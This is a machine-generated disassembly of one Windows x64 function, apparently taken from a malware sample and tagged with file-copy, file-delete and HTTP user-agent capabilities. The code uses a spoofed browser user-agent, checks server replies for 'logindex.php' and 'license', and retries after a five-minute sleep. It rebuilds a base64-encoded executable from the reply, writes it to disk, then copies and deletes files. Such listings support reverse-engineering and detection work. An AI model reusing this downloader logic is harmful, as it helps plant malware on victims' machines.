Function at 0x140017500
Capabilities:
Copy file
Delete file
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x360
mov rax, qword [0x1400d7090]
xor rax, rsp
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x68], r9
mov rsi, r8
mov qword [rsp + 0x60], rdx
mov r13, rcx
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], r8
mov qword [rsp + 0xe0], r9
xor r14d, r14d
mov dword [rsp + 0x58], r14d
lea ecx, [r14 + 3]
call fcn.14001ec30
call fcn.14001e9c0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xe8], r14b
xor edx, edx
mov r8d, 0xe8
lea rcx, [rsp + 0x150]
call fcn.1400746b0
lea rax, [0x1400c9760]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x1e0], r14
mov qword [rsp + 0x208], r14
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
mov dword [rsp + 0x58], 1
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x1d8], rax
mov dword [rsp + 0x1d4], 0x78
xor r8d, r8d
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x1d8]
call fcn.140011510
nop
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x158]
call fcn.140011480
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x1c0], r14
mov dword [rsp + 0x1c8], 4
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14001767f
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [0x1400d8980]
call fcn.1400122b0
lea rdx, [0x1400c9514]
mov rcx, rax
call fcn.14000a530
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], r14
mov r8d, WSASetLastError
lea rdx, str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_605.1.15__KHTML__1ike_Gecko__Mobile_15El48
lea rcx, [rsp + 0x108]
call fcn.14000ad60
nop
mov r15, qword [rsp + 0x118]
mov r12, qword [0x1400da4c8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, r12
jb 0x1400183be
lea rdx, [rsp + 0x108]
cmp qword [rsp + 0x120], 0x10
cmovae rdx, qword [rsp + 0x108]
mov qword [rsp + 0x30], rdx
lea rax, [0x1400da4b8]
cmp qword [0x1400da4d0], 0x10
cmovae rax, qword [0x1400da4b8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], r14
lea rax, [r15 + r12]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x38]
cmp rax, rbx
jbe 0x1400177dd
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x140017795
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001d8c0
test rax, rax
je 0x1400183c9
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
lea rax, [r15 + r12]
mov rdx, qword [rsp + 0x30]
jmp 0x1400177d8
mov edi, socket
cmp rbx, rdi
cmovb rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400177bd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400183c4
jmp 0x14001776d
test rcx, rcx
je 0x1400177d5
call fcn.14001d8c0
mov rdi, rax
lea rax, [r15 + r12]
mov rdx, qword [rsp + 0x30]
jmp 0x1400177d8
mov rdi, r14
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rbx
mov r8, r15
mov rcx, rdi
call fcn.140074000
lea rcx, [rdi + r15]
mov r8, r12
mov rdx, qword [rsp + 0x58]
call fcn.140074000
lea rax, [r15 + r12]
mov byte [rdi + rax], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x14001784e
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017849
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183c9
call fcn.14001d650
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x108], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x118], xmm1
mov r12, qword [rsp + 0x70]
test r12, r12
je 0x140018102
lea rdx, str.HTTP_1.1
xor ecx, ecx
call fcn.14001ed60
lea rdx, [rsp + 0x108]
cmp qword [rsp + 0x120], 0x10
cmovae rdx, qword [rsp + 0x108]
mov rcx, rax
call fcn.14001ed60
mov r15, rax
mov qword [rsp + 0x30], rax
mov r8, rax
mov edx, 0x2727
mov rcx, r12
call fcn.140021970
mov r8, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400178cb
mov r8, qword [rsi]
mov edx, 0x2712
mov rcx, r12
call fcn.140021970
mov rdi, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400178e5
mov rdi, qword [rsi]
mov rax, qword [rsi + 0x10]
cmp rax, 0xc
jb 0x140017998
lea r15, [rax + rdi]
lea r8, [r15 - 0xb]
sub r8, rdi
mov edx, WSASetLastError
mov rcx, rdi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x140017993
nop word [rax + rax]
mov r8d, recvfrom
lea rdx, str.logindex.php
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x14001795a
inc rbx
lea r8, [r15 - 0xb]
sub r8, rbx
mov edx, WSASetLastError
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x140017920
jmp 0x140017993
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x140017993
mov edx, 0x2f
lea r8d, [rdx - 0x2e]
mov rcx, r12
call fcn.140021970
mov rax, qword [rsp + 0x68]
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140017986
mov r8, qword [rax]
mov edx, 0x271f
mov rcx, r12
call fcn.140021970
mov r15, qword [rsp + 0x30]
lea r8, [0x140016e20]
mov edx, 0x4e2b
mov rcx, r12
call fcn.140021970
lea r8, [rsp + 0x150]
mov edx, 0x2711
mov rcx, r12
call fcn.140021970
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, r12
call fcn.140021970
mov rcx, r12
call fcn.14001eaa0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], 0
mov dword [rsp + 0x58], reloc.WS2_32.dll_setsockopt
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rax
mov rdx, r14
mov r8d, dword [rsp + 0x1c8]
mov ecx, r8d
and cl, 0x22
cmp cl, 2
je 0x140017a5b
mov rax, qword [rsp + 0x198]
mov rbx, qword [rax]
test rbx, rbx
je 0x140017a5b
mov rax, qword [rsp + 0x178]
mov r9, qword [rax]
cmp rbx, qword [rsp + 0x1c0]
cmovb rbx, qword [rsp + 0x1c0]
sub rbx, r9
mov rdx, r9
jmp 0x140017a9d
test r8b, 4
jne 0x140017acd
mov rax, qword [rsp + 0x190]
mov rcx, qword [rax]
mov rbx, r14
test rcx, rcx
je 0x140017a95
mov rax, qword [rsp + 0x170]
mov r9, qword [rax]
mov rax, qword [rsp + 0x1a8]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, rcx
mov rdx, r9
jmp 0x140017a9d
mov r9, qword [rsp + 0x128]
test rdx, rdx
je 0x140017acd
lea rcx, [rsp + 0x38]
cmp rbx, 0xf
ja 0x140017ac4
mov qword [rsp + 0x48], rbx
mov r8, rbx
mov rdx, r9
call fcn.140074000
mov byte [rsp + rbx + 0x38], 0
jmp 0x140017acd
mov rdx, rbx
call fcn.140011d40
nop
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0xe8], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0xf8], xmm1
mov rcx, r15
call fcn.14001ee00
mov rcx, r12
call fcn.14001e9a0
call fcn.140019b40
lea rdx, [0x1400c9514]
mov rcx, rax
call fcn.14000a530
mov rdi, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140017b18
mov rdi, qword [rsi]
mov r12, qword [rsi + 0x10]
cmp r12, 7
jb 0x140017b97
lea r15, [r12 + rdi]
lea r8, [r15 - 6]
sub r8, rdi
mov edx, WSASetLastError
mov rcx, rdi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x140017b97
nop dword [rax]
nop word [rax + rax]
mov r8d, 7
lea rdx, str.license
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x140017b8a
inc rbx
lea r8, [r15 - 6]
sub r8, rbx
mov edx, WSASetLastError
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x140017b50
jmp 0x140017b97
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x140018102
mov rdi, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140017ba4
mov rdi, qword [rsi]
cmp r12, 0xc
jb 0x140017c17
lea r15, [r12 + rdi]
lea r8, [r15 - 0xb]
sub r8, rdi
mov edx, WSASetLastError
mov rcx, rdi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x140017c17
nop word [rax + rax]
mov r8d, recvfrom
lea rdx, str.logindex.php
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x140017c0a
inc rbx
lea r8, [r15 - 0xb]
sub r8, rbx
mov edx, WSASetLastError
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x140017bd0
jmp 0x140017c17
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x140018102
cmp dword [rsp + 0x30], 0
jne 0x140018026
cmp dword [reloc.WS2_32.dll_accept], 0x14
jge 0x140018026
lea rdi, [rsp + 0xe8]
mov r15, qword [rsp + 0xe8]
mov r12, qword [rsp + 0x100]
cmp r12, 0x10
cmovae rdi, r15
mov rbx, qword [rsp + 0xf8]
cmp rbx, 9
jb 0x140017cc9
lea r12, [rbx + rdi]
lea r8, [r12 - 8]
sub r8, rdi
mov edx, 0x4e
mov rcx, rdi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x140017cb9
nop
mov r8d, 9
lea rdx, str.Not_Found
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x140017cfb
inc rbx
lea r8, [r12 - 8]
sub r8, rbx
mov edx, 0x4e
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x140017c80
mov rbx, qword [rsp + 0xf8]
mov r12, qword [rsp + 0x100]
lea rdx, str.getting_fii
lea rcx, [0x1400d8980]
call fcn.14000a530
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbx
cmp rax, 0xb
jb 0x1400183cf
jmp 0x140017d9a
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x140017cb9
mov ecx, 0x493e0
call qword [sym.imp.KERNEL32.dll_Sleep]
inc dword [reloc.WS2_32.dll_accept]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x38]
call fcn.140007780
mov r12, rax
mov rdx, rsi
lea rcx, [rsp + 0x128]
call fcn.140007780
mov rdi, rax
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x88]
call fcn.140007540
mov rbx, rax
mov rdx, r13
lea rcx, [rsp + 0xa8]
call fcn.140007540
nop
mov r9, r12
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140017500
jmp 0x14001810a
lea rdx, [rsp + 0xe8]
cmp r12, 0x10
cmovae rdx, r15
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea r12, [rbx + 0xb]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x38]
cmp r12, rbx
jbe 0x140017e5a
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140017e15
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001d8c0
test rax, rax
je 0x1400183e0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rsp + 0x30]
jmp 0x140017e55
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140017e3e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400183d4
jmp 0x140017df1
test rcx, rcx
je 0x140017e52
call fcn.14001d8c0
mov rdi, rax
mov rdx, qword [rsp + 0x30]
jmp 0x140017e55
mov rdi, r14
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], rbx
movsd xmm0, qword [str.TVqQAAMAAAA]
movsd qword [rdi], xmm0
movzx eax, word [0x1400c9668]
mov word [rdi + 8], ax
movzx eax, byte [0x1400c966a]
mov byte [rdi + 0xa], al
lea rcx, [rdi + 0xb]
mov r8, qword [rsp + 0xf8]
call fcn.140074000
mov byte [rdi + r12], 0
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x128]
call fcn.14000d000
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140017eeb
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ee6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183da
call fcn.14001d650
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x240]
call fcn.1400746b0
mov rdx, r13
cmp qword [r13 + 0x18], 8
jb 0x140017f0e
mov rdx, qword [r13]
lea rcx, [rsp + 0x240]
call fcn.140010bb0
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x240], rax
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x23c], edx
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x138]
lea rcx, [rsp + 0x240]
call fcn.1400122b0
lea rcx, [rsp + 0x240]
call fcn.14000f620
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140017f9d
mov rdx, qword [rbx]
mov rcx, r13
cmp qword [r13 + 0x18], 8
jb 0x140017fab
mov rcx, qword [r13]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, r13
cmp qword [r13 + 0x18], 8
jb 0x140017fc5
mov rcx, qword [r13]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rsp + 0x240]
call fcn.14000f400
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x14001810f
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001801c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183e0
call fcn.14001d650
jmp 0x14001810f
mov dword [reloc.WS2_32.dll_accept], 1
lea rcx, [rsp + 0x38]
call fcn.140016e70
mov rdx, rax
mov rcx, rsi
call fcn.14000a0f0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140018082
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001807d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183e6
call fcn.14001d650
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xa8]
call fcn.140007780
mov r15, rax
mov rdx, rsi
lea rcx, [rsp + 0x88]
call fcn.140007780
mov rdi, rax
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140007540
mov rbx, rax
mov rdx, r13
lea rcx, [rsp + 0x128]
call fcn.140007540
nop
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140017500
mov r15, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x140018152
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001814d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183ec
call fcn.14001d650
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x108], 0
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x158]
call fcn.1400198a0
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x14c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x1d8]
call fcn.14001cdf0
nop
mov rax, qword [rsp + 0x100]
cmp rax, 0x10
jb 0x14001823d
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140018234
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400183f2
mov rcx, r15
call fcn.14001d650
nop
mov rdi, qword [rsp + 0x68]
jmp 0x140018267
mov rdx, qword [r13 + 0x18]
cmp rdx, 8
jb 0x1400182a7
mov rcx, qword [r13]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400182a2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400183f8
mov rcx, r8
call fcn.14001d650
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], 7
mov word [r13], r14w
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1400182f7
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400182f2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400183fe
mov rcx, r8
call fcn.14001d650
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140018341
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14001833c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140018404
mov rcx, r8
call fcn.14001d650
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140018386
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140018381
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400183b8
mov rcx, r8
call fcn.14001d650
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.14001d630
add rsp, 0x360
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.14007c430
nop
call fcn.1400016b0
nop
call fcn.140001610
call fcn.14007c430
int3
call fcn.1400016b0
call fcn.140001610
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3